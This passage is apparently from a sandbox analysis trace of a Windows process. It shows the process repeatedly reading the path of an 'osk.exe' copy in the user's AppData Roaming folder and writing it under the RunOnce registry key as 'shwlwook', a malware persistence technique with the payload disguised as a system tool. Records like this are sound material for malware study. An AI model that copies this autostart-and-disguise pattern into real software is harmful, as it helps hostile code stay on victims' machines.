riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.134] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624fed0 | out: ppvObject=0x624fed0*=0x0) returned 0x80004002 [0256.134] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x15 [0256.134] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x14 [0256.135] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.135] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x14 [0256.135] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624fea0) returned 0x0 [0256.135] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x13 [0256.135] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.136] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.136] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.136] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.136] RegCloseKey (hKey=0x14c) returned 0x0 [0256.137] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.137] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.178] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.178] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.179] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.179] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.179] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624fe70 | out: ppvObject=0x624fe70*=0x0) returned 0x80004002 [0256.179] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x15 [0256.179] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.179] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x16 [0256.179] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0ba0) returned 0x0 [0256.180] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x15 [0256.180] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.180] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.180] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.180] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.180] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624fe50 | out: ppvObject=0x624fe50*=0x0) returned 0x80004002 [0256.180] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x16 [0256.180] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x15 [0256.180] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.181] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x15 [0256.181] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624fe20) returned 0x0 [0256.182] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x14 [0256.182] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.182] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.182] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.182] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.183] RegCloseKey (hKey=0x14c) returned 0x0 [0256.183] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.183] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.195] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.195] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.195] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.196] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.196] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624fdf0 | out: ppvObject=0x624fdf0*=0x0) returned 0x80004002 [0256.196] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x16 [0256.196] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.196] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x17 [0256.196] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0b40) returned 0x0 [0256.196] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x16 [0256.196] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.196] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.196] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.196] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.196] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624fdd0 | out: ppvObject=0x624fdd0*=0x0) returned 0x80004002 [0256.197] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x17 [0256.197] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x16 [0256.197] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.197] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x16 [0256.197] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624fda0) returned 0x0 [0256.198] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x15 [0256.198] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.198] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.198] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.198] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.198] RegCloseKey (hKey=0x14c) returned 0x0 [0256.199] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.199] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.211] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.211] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.211] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.211] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.211] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624fd70 | out: ppvObject=0x624fd70*=0x0) returned 0x80004002 [0256.211] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x17 [0256.212] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.212] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x18 [0256.212] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0ae0) returned 0x0 [0256.212] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x17 [0256.212] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.212] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.212] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.212] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), 